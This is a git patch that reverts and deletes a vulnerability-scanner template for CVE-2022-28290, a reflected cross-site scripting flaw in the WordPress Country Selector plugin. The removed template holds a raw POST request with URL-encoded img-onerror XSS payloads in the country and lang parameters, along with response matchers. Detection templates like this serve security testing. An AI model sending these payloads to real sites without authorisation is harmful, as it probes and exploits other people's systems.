From cda8849beba7600157ffd49a89ffbba64dec4276 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Tue, 10 May 2022 14:18:33 +0530 Subject: [PATCH] Revert "Create CVE-2022-28290.yaml" This reverts commit 28788419f49f368250530a0bfb03926cf216883e. --- cves/2022/CVE-2022-28290.yaml | 37 ----------------------------------- 1 file changed, 37 deletions(-) delete mode 100644 cves/2022/CVE-2022-28290.yaml diff --git a/cves/2022/CVE-2022-28290.yaml b/cves/2022/CVE-2022-28290.yaml deleted file mode 100644 index 7d5b8760cb..0000000000 --- a/cves/2022/CVE-2022-28290.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2022-28290 - -info: - name: Country Selector < 1.6.6 - Reflected Cross-Site Scripting - author: Akincibor - severity: medium - description: The plugin does not sanitise and escape the country and lang parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting. - reference: - - https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479 - tags: xss,wp,wordpress,wp-plugin,cve,cve2022 - -requests: - - raw: - - | - POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - - country=%3Cimg%2Bsrc%3Dx%2Bonerror%3Dalert%28%2FXSS-country%2F%29%3E&lang=%3Cimg%2Bsrc%3Dx%2Bonerror%3Dalert%28%2FXSS-lang%2F%29%3E&site_locate=en-US - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - '' - condition: or - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200